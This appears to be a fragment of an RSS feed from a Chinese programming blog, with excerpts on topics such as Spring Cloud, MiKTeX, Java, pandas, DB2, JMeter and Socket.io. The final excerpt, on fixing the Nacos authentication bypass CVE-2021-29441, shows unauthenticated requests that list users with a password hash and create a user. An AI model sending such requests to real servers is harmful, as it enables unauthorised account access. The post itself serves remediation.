      <description>错误概述： 微服务的eureka，provider，consumer服务在Windows的IDEA中都能正常运行。&#xA;部署进入Centos7的Docker后，eureka，provider服务运行正常，consumer服务总是报 Connection refused的如下错误，&#xA;2021-09-15 14:41:51.526 ERROR 1 --- [p-nio-exec-4] o.a.c.c.C.[.[.[/]. [dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.springframework.web.client.ResourceAccessException: I/O error on GET request for &#34;http://localhost:8001&#34;: Connection refused (Connection refused); nested exception is java.net.ConnectException: Connection refused (Connection refused)] with root cause&#x9;java.net.ConnectException: Connection refused (Connection refused)&#x9;at java.net.PlainSocketImpl.socketConnect(Native Method) ~[na:1.8.0_111] at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350) ~[na:1.8.0_111] at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206) ~[na:1.8.0_111] .</description>
    </item>
    <item>
      <title>miktex配置cjk中文</title>
      <link>https://bchobby.github.io/posts/210ffd46ef34b3df4d3d918e48f1e7d9/</link>
      <pubDate>Tue, 21 Sep 2021 12:45:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/210ffd46ef34b3df4d3d918e48f1e7d9/</guid>
      <description>安装MiKTex后配置中文（安装CJK）&#xA;先从官网下载basic-miktex-21.6-x64，并安装。&#xA;1.打开miktex console 进入管理员模式。&#xA;2.在设置里点更改-下一步，点中国的镜像如清华、华为什么的比较快的网址。&#xA;3.检查一下更新，能更新就更新。&#xA;4.点宏包，输入cjk回车，分别右击cjk,cjk-fonts，安装。&#xA;接下来就是打开命令行窗口(以管理员身份执行)， 输入:&#xA;initexmf -u&#xA;等一小会儿，让命令执行完，然后再输入:&#xA;initexmf --edit-config-file updmap&#xA;此时会出现一个笔记本，我们在其中输入要启用的字型:&#xA;Map cwmu.map&#xA;Map cwku.map&#xA;Map cwfsu.map&#xA;Map cwhbu.map&#xA;Map cwyu.map&#xA;（把上面几行续写入到弹出来的笔记本中）&#xA;保存，关闭，接着在控制台输入命令:&#xA;initexmf --mkmaps&#xA;命令完成后，就大功告成了。&#xA;举个例子如下：（其实这是从网上copy的）,打开自带的texworks&#xA;\documentclass{article} \usepackage{CJKutf8} \begin{document} \begin{CJK}{UTF8}{gkai} 这是一个楷体中文测试，处理简体字。 \end{CJK} \begin{CJK}{UTF8}{gbsn} 这是一个宋体中文测试，处理简体字。 \end{CJK} \begin{CJK}{UTF8}{bkai} 這是一個big5編碼的楷體中文測試，處理繁體文字。 \end{CJK} \begin{CJK}{UTF8}{bsmi} 這是一個个big5編碼的明體中文測試，處理繁體文字。 \end{CJK} \end{document} 编译过程中如有提示安装包，直接点确认自动安装。&#xA;如果成功，则会显示一个含有中文的pdf文件。&#xA;本人亲测pdflatex可以使用。&#xA;xelatex因为没有安装宏包，所以编译后不可显示中文。</description>
    </item>
    <item>
      <title>Java使用for循环：打印直角三角形/倒直角三角形/正三角形/倒正三角形/矩形/平行四边形/菱形的规律</title>
      <link>https://bchobby.github.io/posts/66a3f70287d0056a1cf5f0de32aef75d/</link>
      <pubDate>Tue, 21 Sep 2021 12:19:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66a3f70287d0056a1cf5f0de32aef75d/</guid>
      <description>新人表示总结出规律后，小意思啦~&#xA;使用方法：嵌套for循环&#xA;1.外层循环控制的是执行的轮数，内层循环控制的是这一轮中执行的次数&#xA;2.外层循环控制的是图形的行数，内层循环控制的是这一行的列数&#xA;直角三角形：&#xA;规律：&#xA;1.外层for循环，循环条件 i 值设定具体边长&#xA;2.内层for循环，循环条件 j 值与外层循环 i 值挂钩（打印空格加*）&#xA;//直角三角形 for (int i = 0; i &amp;lt;= 5; i++) { for (int j = 0; j &amp;lt;= i; j++) { System.out.print(&#34; *&#34;);//打印空格加* }System.out.println();//换行 } 倒直角三角形：&#xA;规律：(对比上面直角三角形)&#xA;1.外层for循环全部相反：开始条件0改成5，循环条件 &#39;&amp;lt;&#39;号 改成 &#39;&amp;gt;&#39;号，更改条件 ++ 改成 --&#xA;2.内层for循环不变（打印空格加*）&#xA;//倒直角三角形 for (int i = 5; i &amp;gt;= 0; i--){ for (int j = 0; j &amp;lt;= i; j++){ System.out.print(&#34; *&#34;</description>
    </item>
    <item>
      <title>Elementui中折叠面板默认设置为展开</title>
      <link>https://bchobby.github.io/posts/2096a09fec8d16656efbd4a3e51b47c5/</link>
      <pubDate>Tue, 21 Sep 2021 10:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2096a09fec8d16656efbd4a3e51b47c5/</guid>
      <description> 1.Elementui中折叠面板默认设置为展开&#xA;当el-collapse 中v-model的值和唯一标识name一样的时候，会使其默认展开(代码如下)&#xA;&amp;lt;el-collapse accordion v-model=&#34;activeName01&#34; @change=&#34;handleChange&#34;&amp;gt; &amp;lt;el-collapse-item name=&#34;1&#34;&amp;gt; &amp;lt;template slot=&#34;title&#34; &amp;gt; &amp;lt;h3&amp;gt;投放应用&amp;lt;/h3&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;div class=&#34;banking&#34;&amp;gt; &amp;lt;span v-for=&#34;(item,index) in versionlist&#34; :style=&#34;{background:(index==isactive ? item.color:&#39;&#39;),color:(index== isactive ? &#39;white&#39;:&#39;&#39;)}&#34; @click=&#39;switchtab(item.value, index)&#39; :key=&#34;index&#34;&amp;gt;{{item.name}}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-collapse-item&amp;gt; &amp;lt;/el-collapse&amp;gt; &amp;lt;script&amp;gt; data:function(){ return{ activeName01:&#39;1&#39; //默认collapse是展开状态 } } &amp;lt;/script&amp;gt; 2.当在Elementui中需要给collapse子元素el-collapse-item中的title加样式时可以用&#xA;&amp;lt;template slot = &#34;title&#34;&amp;gt; &amp;lt;h3&amp;gt;这是用slot替换一般直接在控件中title中写内容的模式&amp;lt;/h3&amp;gt; &amp;lt;/template&amp;gt; </description>
    </item>
    <item>
      <title>Ajax基础：向服务器端传递post请求参数（普通类型&#43;json类型）</title>
      <link>https://bchobby.github.io/posts/6de2c5a27da354e31c4d4c532943941e/</link>
      <pubDate>Mon, 20 Sep 2021 17:33:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6de2c5a27da354e31c4d4c532943941e/</guid>
      <description>（普通类型的请求数据） 客户端 04ajax.html 的代码：&#xA;&amp;lt;body&amp;gt; &amp;lt;p&amp;gt;&amp;lt;input type=&#34;text&#34; name=&#34;&#34; id=&#34;username&#34;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;input type=&#34;text&#34; name=&#34;&#34; id=&#34;age&#34;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;input type=&#34;button&#34; name=&#34;&#34; value=&#34;提交&#34; id=&#34;btn&#34;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;script&amp;gt; var btn = document.getElementById(&#39;btn&#39;); var usernameV = document.getElementById(&#39;username&#39;); var ageV = document.getElementById(&#34;age&#34;); btn.addEventListener(&#39;click&#39;, function() { var name = usernameV.value; var age = ageV.value; var params = &#39;username=&#39; + name + &#39;&amp;amp;age=&#39; + age; // 创建ajax对象 var aj = new XMLHttpRequest(); // 配置ajax对象 aj.open(&#39;post&#39;, &#39;http://localhost:3000/post&#39;); // 如果post请求参数是【params】中的格式，那么这里就要设置成下面的格式，固定写法 aj.setRequestHeader(&#39;Content-Type&#39;, &#39;application/x-www-form-urlencoded&#39;); // 发送请求 aj.</description>
    </item>
    <item>
      <title>Java实现两个整数的加减乘除运算</title>
      <link>https://bchobby.github.io/posts/e607fdf0583c3ddad8b481556eb4f15e/</link>
      <pubDate>Mon, 20 Sep 2021 14:58:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e607fdf0583c3ddad8b481556eb4f15e/</guid>
      <description>import java.util.Scanner; public class CountScore { public static void main(String[] args) { // TODO Auto-generated method stub Scanner input=new Scanner(System.in); System.out.println(&#34;请输入你要计算的整数：&#34;); int a=input.nextInt(); int b=input.nextInt(); System.out.println(a+b); System.out.println(a-b); System.out.println(a*b); System.out.println(a/b); } } 运行结果：</description>
    </item>
    <item>
      <title>FATE使用手册</title>
      <link>https://bchobby.github.io/posts/2367d44846979f20869fc8ef724331c8/</link>
      <pubDate>Sun, 19 Sep 2021 14:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2367d44846979f20869fc8ef724331c8/</guid>
      <description>FATE简介 FATE（Federated AI Technology Enabler）是微众银行AI部门发起的一个开源项目，旨在提供一个安全的计算框架来支持联邦AI生态系统。它实现了基于同态加密和多方计算（MPC）的安全计算协议。它支持联邦学习架构和各种机器学习算法的安全计算，包括逻辑回归、基于树的算法、深度学习和迁移学习。&#xA;FATE技术框架 FederatedML ​ 算法功能组件，包括常见机器学习算法联邦化实现。所有模块均采用模块化的解耦的方式进行开发，从而增强可扩展性。&#xA;FATE_Flow ​ FATE-Flow是联邦学习框架FATE的作业调度系统，实现联邦学习作业生命周期的完整管理，其中包括数据输入、训练作业调度、指标追踪、模型中心等功能。&#xA;FATE-Board ​ 联邦学习建模的可视化工具，为终端用户可视化和度量模型训练的全过程。支持对模型训练过程全流程的跟踪、统计和监控等，并为模型运行状态、模型输出、日志追踪等提供了丰富的可视化呈现，帮助用户简单而高效地深入探索模型与理解模型。&#xA;FATE-Serving ​ 高性能可扩展的联邦学习在线模型服务。&#xA;角色 Guest ​ Guest表示数据应用方，在纵向算法中，Guest往往是有标签y的一方。一般是由Guest发起建模流程。&#xA;Host ​ Host是数据提供方。&#xA;arbiter ​ arbiter是用来辅助多方完成联合建模的，主要的作用是用来聚合梯度或者模型,比如纵向lr里面,各方将自己一半的梯度发送给arbiter，然后arbiter再联合优化等等,arbiter还参与以及分发公私钥，进行加解密服务等等。&#xA;FATE环境部署指南 单机部署 参考：https://fate.readthedocs.io/en/latest/_build_temp/standalone-deploy/README.html#install-fate-using-docker-recommended，包括使用 Docker 安装 FATE*(推荐)*和在主机中安装 FATE&#xA;集群部署 参考：https://fate.readthedocs.io/en/latest/_build_temp/cluster-deploy/README.html&#xA;主机进入到docker FATE镜像命令 主机ip:192.168.1.75&#xA;FATE版本为1.6.0，主机执行以下命令&#xA;CONTAINER_ID=`docker ps -aqf &#34;name=fate&#34;` docker exec -t -i ${CONTAINER_ID} bash 快速启动 FATE 的一般指南 参考：https://fate.readthedocs.io/en/latest/_build_temp/examples/pipeline/README.html&#xA;由于FATE已经启动，以下命令不需要执行&#xA;（可选）创建虚拟环境&#xA;python -m venv venv source venv/bin/activate pip install -U pip 安装FATE客户端&#xA;pip install fate_client pipeline init --help 提供部署的 FATE-Flow 的服务器 ip/port 信息</description>
    </item>
    <item>
      <title>C语言——打印菱形</title>
      <link>https://bchobby.github.io/posts/835177f058b9b50113f49923ed2c238b/</link>
      <pubDate>Sun, 19 Sep 2021 14:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/835177f058b9b50113f49923ed2c238b/</guid>
      <description>输入上半部分的行数来打印出一个菱形，效果如图：&#xA;这里将他分为两部分来分析，主要就是找每一部分的空格个数与 * 个数的规律&#xA;分析上半部分：&#xA;代码如下：&#xA;//上半部分： for (int i = 1; i &amp;lt;= n; i++) {&#x9;//行数做循环条件 //1、打印空格 for (int j = 0; j &amp;lt; n - i; j++) {&#x9;printf(&#34; &#34;); } //2、打印*号 for (int j = 0; j &amp;lt; 2*i-1; j++) { printf(&#34;*&#34;); } //3、没打印完一排换行 printf(&#34;\n&#34;); } 分析下半部分：&#xA;代码如下：&#xA;//下半部分： for (int i = 1; i &amp;lt;= n - 1; i++) { for (int j = 0; j &amp;lt; i; j++) { printf(&#34;</description>
    </item>
    <item>
      <title>Java解压压缩包（zip/rar/7z）</title>
      <link>https://bchobby.github.io/posts/1a718518ea287970b67fb81906006588/</link>
      <pubDate>Sat, 18 Sep 2021 16:26:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a718518ea287970b67fb81906006588/</guid>
      <description>一、概述 主要实现解压压缩包，拿到压缩包中每个文件。&#xA;二、思路 针对压缩包的操作，首先需要拿到压缩包文件的流，然后利用第三方工具将流实例化，调用next方法迭代，然后分别操作压缩包中的单个文件。&#xA;三、代码实现 1.zip实现 jdk支持对zip流的操作，相关依赖在java.util.zip下&#xA;// 获取本地zip包 public void unzipByPath() { try { String localPath = &#34;D:\\文件.zip&#34;; File file = new File(localPath); ZipInputStream zin; // 创建ZipInputStream对象 InputStream inputStream = new FileInputStream(file); zin = new ZipInputStream(inputStream, Charset.forName(&#34;GBK&#34;)); // 实例化对象，指明要解压的文件 ZipEntry entry; while ((entry = zin.getNextEntry()) != null) { System.out.println(zipEntry.getName()); BufferedInputStream bs = new BufferedInputStream(zin); // 将文件信息写到byte数组中 byte[] bytes = new byte[(int) entry.getSize()]; bs.read(bytes, 0, (int) entry.getSize()); if (&#34;zip&#34;.equals(entry.getName().substring(entry.getName().lastIndexOf(&#34;.&#34;) + 1))) { ZipInputStream secondZip = new ZipInputStream(new ByteArrayInputStream(bytes), Charset.</description>
    </item>
    <item>
      <title>VS Code插件以及相关配置</title>
      <link>https://bchobby.github.io/posts/ba7603c021a0e12cd79280fcaea06432/</link>
      <pubDate>Sat, 18 Sep 2021 16:18:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba7603c021a0e12cd79280fcaea06432/</guid>
      <description>1、Auto Close Tag 新增标签时，自动闭合标签。&#xA;{ // 是否自动插入闭合标签，默认为true &#34;auto-close-tag.enableAutoCloseTag&#34;: true, // 是否给自动闭合标签，添加“/”，比如&amp;lt;br&amp;gt;会变成&amp;lt;br/&amp;gt;，默认值为true &#34;auto-close-tag.enableAutoCloseSelfClosingTag&#34;: true, // 是否在自动闭合标签的正斜杠前插入空格（默认为false） &#34;auto-close-tag.insertSpaceBeforeSelfClosingTag&#34;: false, // 哪些语言或者脚本可以使用此插件，默认[&#34;*&#34;]，此处通配符表示所有语言或脚本 &#34;auto-close-tag.activationOnLanguage&#34;: [ &#34;xml&#34;, &#34;php&#34;, &#34;blade&#34;, &#34;ejs&#34;, &#34;jinja&#34;, &#34;javascript&#34;, &#34;javascriptreact&#34;, &#34;typescript&#34;, &#34;typescriptreact&#34;, &#34;plaintext&#34;, &#34;markdown&#34;, &#34;vue&#34;, &#34;liquid&#34;, &#34;erb&#34;, &#34;lang-cfml&#34;, &#34;cfml&#34;, &#34;HTML (Eex)&#34; ], // 哪些语言不能使用此插件 &#34;auto-close-tag.disableOnLanguage&#34;: [ &#34;php&#34;, &#34;python&#34; ], // 禁用哪些标签不能使用此插件 &#34;auto-close-tag.excludedTags&#34;: [ &#34;area&#34;, &#34;base&#34;, &#34;br&#34;, &#34;col&#34;, &#34;command&#34;, &#34;embed&#34;, &#34;hr&#34;, &#34;img&#34;, &#34;input&#34;, &#34;keygen&#34;, &#34;link&#34;, &#34;meta&#34;, &#34;param&#34;, &#34;source&#34;, &#34;track&#34;, &#34;wbr&#34; ], // 是否同时启用Visual Studio和升华文本模式。（默认值为false） &#34;</description>
    </item>
    <item>
      <title>pandas将一列中重复值替换为空值（nan）</title>
      <link>https://bchobby.github.io/posts/cf2e3f111f87689d3f1b691ea561312b/</link>
      <pubDate>Sat, 18 Sep 2021 10:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf2e3f111f87689d3f1b691ea561312b/</guid>
      <description>将一列中的重复值替换成nan（ffillna的逆运算，但ffillna之前的重复值也会被替换掉）&#xA;data[&#39;A&#39;] = data.A.mask(data.A.diff().eq(0)) # 方法1 data[&#39;A&#39;].mask(data[&#39;A&#39;].shift(1) == data[&#39;A&#39;])&#x9;# 方法2 diff()使用说明：&#xA;numpy.diff(a, n=1,axis=-1)&#xA;a 表示需要进行差分操作的数据&#xA;n 代表执行几次差值&#xA;axis：默认是-1。&#xA;在pandas中：&#xA;调用方法：&#xA;dataframe.diff(periods,axis)&#xA;dataframe：可以是直接对dataframe结构进行diff，也可以是Series，另外还可以是进行聚合或者其他操作之后的Series&#xA;periods：表示移动的幅度。它是任意整数，如果是想让数据统一向下移动n个periods，则n为正，如果是想让数据向上移动n个periods，则n为负&#xA;axis：表示参考轴。如果axis=0，则是进行行间的移动差分操作，如果axis=1，则进行列间的移动差分操作。&#xA;eq()说明：&#xA;operator.eq() 功能&#xA;operator.eq()函数是运算符模块的库函数，用于对两个值执行“等于运算”，如果第一个值等于第二个值，则返回True，否则返回False。</description>
    </item>
    <item>
      <title>web worker API开启浏览器js多进程</title>
      <link>https://bchobby.github.io/posts/9c3806e4d73db79416ff3939d01d735d/</link>
      <pubDate>Fri, 17 Sep 2021 22:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c3806e4d73db79416ff3939d01d735d/</guid>
      <description>面试使人进步！！！&#xA;在大厂佬们的碾压下接触到了目前工作中没有遇到的新api和新思路以及解决方案。&#xA;今天就来说说这个新的api web Worker。以下是MDN原话&#xA;指的是一种可由脚本创建的后台任务，任务执行中可以向其创建者收发信息。要创建一个 Worker ，只须调用 Worker(URL) 构造函数，函数参数 `URL` 为指定的脚本。Worker 也可以创建新的 Worker，当然，所有 Worker 必须与其创建者同源。&#xA;很明显了就是让我们可以开启一个新的进程来处理js。js是采用的是单线程模型，代码从上往下执行如果js任务中间存在较大的数据计算那么势必会阻塞js的运行以及页面的渲染，那么这时候web worker就是一个很好的解决方案，可以将这部分数据计算的代码放到web worker中进行处理等待处理完成后在通过通信的方式告知js线程。下面是一个简单的demo（vite-react）&#xA;import React, { useEffect, useState } from &#34;react&#34;; export default (): JSX.Element =&amp;gt; { const [w, setW] = useState&amp;lt;Worker&amp;gt;() const startWorker = () =&amp;gt; { setW(new Worker(&#34;http://localhost:3322/front/worker.js&#34;)) } function stopWorker() { if (!w) return w.terminate(); // 终止进程运行，下回启动重头开始 } useEffect(() =&amp;gt; { if (!w || !!w.onmessage) return w.onmessage = function (event) { // 通过postMessage和onMessage进行线程之间的通信 console.</description>
    </item>
    <item>
      <title>CentOS 7安装DB2</title>
      <link>https://bchobby.github.io/posts/0ceebb5e6d0c6d7f6d8c541eaf11c5b0/</link>
      <pubDate>Fri, 17 Sep 2021 16:15:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ceebb5e6d0c6d7f6d8c541eaf11c5b0/</guid>
      <description>本文参考：https://blog.csdn.net/xiadeliang1111/article/details/88574912&#xA;1. 下载安装包 可以去IBM官网下载最新版本的DB2安装包，嫌麻烦的朋友也可以直接在CSDN找到对应的包，搜索v11.1_linuxx64_expc.tar.gz即可。&#xA;（此安装包为2021年9月17日最新版）&#xA;2. 安装DB2 ① 安装DB2&#xA;以root用户登录操作系统，把安装包放到/home/software目录下解压&#xA;tar -zxvf v11.1_linuxx64_expc.tar.gz 解压完成后应该得到一个名为expc的目录，进入这个目录。新系统一般要先安装依赖，然后才能执行安装程序。&#xA;cd expc yum install pam.i686 ./db2_install 这里连续两次选择“是”，也可以根据自己的需要改变安装目录。&#xA;② 添加实例用户&#xA;安装完成后终端会给出“已成功完成执行”的提示。这时候我们需要创建实例用户和用户组，来运行DB2服务器。&#xA;groupadd -g 2000 db2iadm1 groupadd -g 2001 db2fadm1 useradd -m -g db2iadm1 -d /home/db2inst1 db2inst1 useradd -m -g db2fadm1 -d /home/db2fenc1 db2fenc1 passwd db2inst1 设置一下实例用户的密码。&#xA;③ 修改配置文件&#xA;修改一下相关文件的权限，并配置license。&#xA;cd /opt/ibm/db2/V11.1/adm chmod -R 755 * ./db2licm -a /home/software/expc/db2/license/db2expc_uw.lic cd /opt/ibm/db2/V11.1/instance/ chmod -R 755 * ./db2icrt -p 50000 -u db2fenc1 db2inst1 ④ 使用db2</description>
    </item>
    <item>
      <title>生信入门（一）——DESeq2差异基因分析</title>
      <link>https://bchobby.github.io/posts/3cb94a208de647a0de897772227a2542/</link>
      <pubDate>Fri, 17 Sep 2021 15:47:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cb94a208de647a0de897772227a2542/</guid>
      <description>生信（一）——DESeq2差异基因分析 文章目录 生信（一）——DESeq2差异基因分析一、差异基因分析原理二、代码实现1、前提：安装DESeq2包2.代码实现 三、小结 记录学习过程，共勉。 一、差异基因分析原理 详见&#xA;二、代码实现 1、前提：安装DESeq2包 2.代码实现 setwd(&#34;D:\\RData&#34;);#设置编码位置 rt&amp;lt;-read.table(&#34;GSE149549_mRNA_Expression_Summary.txt&#34;,head=TRUE,row.names = 1) head(rt) #准备 rt&amp;lt;-as.matrix(rt) #将数据转换为矩阵格式 condition&amp;lt;-factor(c(rep(&#34;case&#34;,2),rep(&#34;control&#34;,3)),levels = c(&#34;case&#34;,&#34;control&#34;)) ## 设置分组信息，建立环境(5个样本，2组处理) condition coldata&amp;lt;-data.frame(row.names=colnames(rt),condition) #剔除无意义数据（不存在的基因read） #nrow(rt) i=1 while(i&amp;lt;=nrow(rt)){ if(mean(rt[i,])&amp;lt;10) rt&amp;lt;-rt[-i,] i&amp;lt;-i+1; }; #nrow(rt) coldata #展示coldata内容 condition #展示环境 #构建dds矩阵 dds&amp;lt;-DESeqDataSetFromMatrix(rt,coldata,design=~condition) #标准化，对原始数据进行normalize dds&amp;lt;-DESeq(dds) dds resultsNames(dds) #使用deseq2包中的result（）函数提取deseq2差异分析结果 res=results(dds,contrast = c(&#34;condition&#34;,&#34;case&#34;,&#34;control&#34;)) head(res) summary(res) write.csv(res,file = &#34;results.csv&#34;) #分析结果可视化与导出 table(res$padj&amp;lt;0.05) plotMA(res,ylim=c(-2,2)) mcols(res,use.names = TRUE) #提取差异基因 res &amp;lt;- res[order(res$padj),] resdata &amp;lt;-merge(as.data.frame(res),as.data.frame(counts(dds,normalize=TRUE)),by=&#34;row.names&#34;,sort=FALSE) deseq_res&amp;lt;-data.frame(resdata) up_diff_result&amp;lt;-subset(deseq_res,padj &amp;lt; 0.05 &amp;amp; (log2FoldChange &amp;gt; 1)) #提取上调差异表达基因 down_diff_result&amp;lt;-subset(deseq_res,padj &amp;lt; 0.</description>
    </item>
    <item>
      <title>stm32程序烧录完不执行不工作</title>
      <link>https://bchobby.github.io/posts/4d287ca695e4de6fc82427a6bde81871/</link>
      <pubDate>Fri, 17 Sep 2021 15:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d287ca695e4de6fc82427a6bde81871/</guid>
      <description>情况: 使用stm32f103vet6，工程在某一次修改后（称为新版本工程），编译无错误，但是烧录后，程序不执行，&#xA;电路板有4个led灯，程序设置了初始化时直接点亮4个led灯。&#xA;但是，在这一次修改工程后，烧录完灯不亮，&#xA;测试: 多次测试，&#xA;发现使用老版本的工程仍然可以正常使用，排除硬件故障。&#xA;继续测试，&#xA;发现老版本和新版本工程的区别，在于使用了stm32cubemx不同的版本配置，老版本工程使用了stm32cubemx6.1.2版本，新版本工程使用了stm32cubemx6.3.0版本，&#xA;继续测试，即使是老版本工程，只要是用stm32cubemx6.3.0配置过，也会出现编译无错误，但是烧录后，程序不执行的现象&#xA;解决方案: 使用老版本工程，然后绕过stm32cubemx，通过手动配置项目，修改代码，直接编译烧录，发现可以正常运行。&#xA;具体原因: 不清楚，可能6.3.0版本cubemx有bug？&#xA;修改时间：2021.9.18 :21:34&#xA;被另一位同事修改了代码，某个二维数组大小被出于节省内存空间的目的，减小了。导致了内存溢出，新版本工程是我从同事那里拿来直接改的，老版本工程是我自己写的，所以出现了以上情况。&#xA;最后: 如果有人遇到这种情况，请留言告知，通过总结大家遇到的情况，也许能找到真正的原因？&#xA;修改时间：2021.9.18 :21:34&#xA;各位在联合开发的时候，引以为戒吧。。。&#xA;更新 用了一个printf()，但是printf没有重定位到串口1。&#xA;也出现了烧录不工作。</description>
    </item>
    <item>
      <title>Socket.io 如何使用 中文文档（基本用法）</title>
      <link>https://bchobby.github.io/posts/b2b071ed4df6395aa38e73aebf47c039/</link>
      <pubDate>Fri, 17 Sep 2021 15:28:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2b071ed4df6395aa38e73aebf47c039/</guid>
      <description>socket.io 使用（Vue3+node.js） 介绍 Socket.IO是一个库，支持浏览器和服务器之间的实时、双向和基于事件的通信&#xA;如果可能的话，客户端将尝试建立WebSocket连接，如果不可能的话，转而依靠HTTP长轮询&#xA;服务端使用 默认情况下，服务端使用的Socket.io提供的 websocket 服务是 ws 提供的&#xA;安装&#xA;npm install socket.io 服务初始化&#xA;const httpServer = require(&#34;http&#34;).createServer(); // socket.io服务可以作为独立服务，也可以添加到一个已经存在的服务上(HTTP,Express,Koa,Nest) const io = require(&#34;socket.io&#34;)(httpServer, { // ...配置项 // path, parser, connectTimeout 等服务选项 // wsEngine, cors 跨域配置, cookie, transports, allowRequest 用来决定是否接受请求，继续处理（做校验）等等 低引擎配置选项 }); ​ io.on(&#34;connection&#34;, (socket) =&amp;gt; { // ... }); ​ httpServer.listen(3000); 服务实例 Server Instance&#xA;属性：&#xA;engine&#xA;可以用来获取已连接服务的客户端数量&#xA;const count = io.engine.clientsCount; // may or may not be similar to the count of Socket instances in the main namespace, depending on your usage // io.</description>
    </item>
    <item>
      <title>jmeter BeanShell tcp 性能测试， 发送和接受数据详细示例</title>
      <link>https://bchobby.github.io/posts/f3db79d85270d744f9dd571433b731b1/</link>
      <pubDate>Thu, 16 Sep 2021 17:40:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3db79d85270d744f9dd571433b731b1/</guid>
      <description>jmeter 使用 beanshell 发送tcp请求实例 基于可能预测到的很近的未来，会有项目对程序中tcp协议的接口进行性能测试，为了避免到时候两眼一抹黑，在领导的压力下 oh 不，应该是自身积极主动的推进下，进行未雨绸缪的测试活动&#xA;tcp sample了解 新建一个tcp sample&#xA;配置 tcp 信息&#xA;TCPClient classname: 填写TCP报文格式（有三类），默认前缀：org.apache.jmeter.protocol.tcp.sampler.&#xA;TCPClientImpl：普通文本传输&#xA;BinaryTCPClientImpl：十六进制报文（常用）&#xA;LengthPrefixedBinaryTCPClientImpl：继承BinaryTCPClientImpl类，并在 BinaryTCPClientlmpl前面增加两个字节数据长度。&#xA;尝试了TCPClientImpl ，发现无法正常结束tcp接受，所以放弃，所以使用 BinaryTCPClientImpl&#xA;End of line(EOL) byte value：响应数据的最后2位，转换为10进制的值。取值区间[-128,127]， 因为TCP长连接是不会断开的，我们需要从响应数据来判断并告知TCP取样器这次请求已经获得了数据/响应成功&#xA;SO_LINGER：该配置项用于控制在关闭连接之前是否要等待缓冲区中的数据发送完成。如果SO_LINGER选项指定了&#xA;值，则在得到关闭连接的请求之后还会等待指定的秒数以完成缓冲区中数据的发送，在指定的SO_LINGER秒数完成后，&#xA;关闭连接。因此，如果你把该选项设置成0，那么所有连接在收到关闭连接的时候都会立即关闭，避免产生很多处于&#xA;TIME_WAIT状态的套接字。&#xA;其他字段可以自行百度下&#xA;beanshell编辑 发送tcp信息时，由于body长度可能不一样，所以导致业务上最后拼接出来的16进制数据和我预期的不一致，所以此处只能采用代码的方式来拼接 16进制数据。&#xA;具体代码&#xA;import com.alibaba.fastjson.JSONObject; public static String test(){ // 拼装请求的结构体 JSONObject object = new JSONObject(); object.put(&#34;uname&#34;, &#34;autopf&#34;); object.put(&#34;keytp&#34;, &#34;cc&#34;); object.put(&#34;apd&#34;, &#34;1.00&#34;); object.put(&#34;seq&#34;, &#34;abc_&#34;+&#34;${__threadNum}&#34;+&#34;${counter}&#34;); // 转成字符串 String dicstr = JSONObject.toJSONString(object); System.out.println(&#34;请求体转成字符串结果： &#34;+dicstr); vars.put(&#34;tcp_body&#34;,dicstr); // 这个Parser类 是我引用了开发的代码， 所以各位大佬，需要根据公司的不同情况，来拼接 Parser sss = new Parser(); //tcp中 command字段，每隔接口command不一样 int cmd = 2; // 将结构体转成 byte格式 byte[] s = dicstr.</description>
    </item>
    <item>
      <title>nacos权限绕过漏洞(CVE-2021-29441)修复</title>
      <link>https://bchobby.github.io/posts/c441a5d660a763b7993f15930e5130b1/</link>
      <pubDate>Thu, 16 Sep 2021 10:23:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c441a5d660a763b7993f15930e5130b1/</guid>
      <description>漏扫出服务器的nacos1.2.1版本存在权限绕过漏洞(CVE-2021-29441)漏洞，给出的建议是升级到最新版本，后面去nacos官网当时最新版本是2.0.3，果断换成了当时最新的再让安全人员漏扫发现还是存在，明明官网已经说2.0.0以上版本已经修复了，怎么还是被扫到呢？通过网上翻看资料得到如下解决办法：&#xA;1、修改 nacos的application.properties配置文件，开启服务身份识别功能&#xA;### 开启鉴权 nacos.core.auth.enabled=true ### 关闭使用user-agent判断服务端请求并放行鉴权的功能 nacos.core.auth.enable.userAgentAuthWhite=false ### 配置自定义身份识别的key（不可为空）和value（不可为空） nacos.core.auth.server.identity.key=example nacos.core.auth.server.identity.value=example nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value根据你的需要，填写你的key和value&#xA;修改好后重启nacos，浏览器执行：&#xA;&#39;http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&amp;amp;pageSize=9&#39; 在没有开启服务身份识别功能，执行以上是会出数据的：&#xA;{ &#34;totalCount&#34;: 1, &#34;pageNumber&#34;: 1, &#34;pagesAvailable&#34;: 1, &#34;pageItems&#34;: [ { &#34;username&#34;: &#34;nacos&#34;, &#34;password&#34;: &#34;$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu&#34; } ] } 添加服务身份识别功能后换在浏览器执行如果出现这个：&#xA;以及执行：&#xA;&#39;http://127.0.0.1:8848/nacos/v1/auth/users?username=test&amp;amp;password=test&#39; 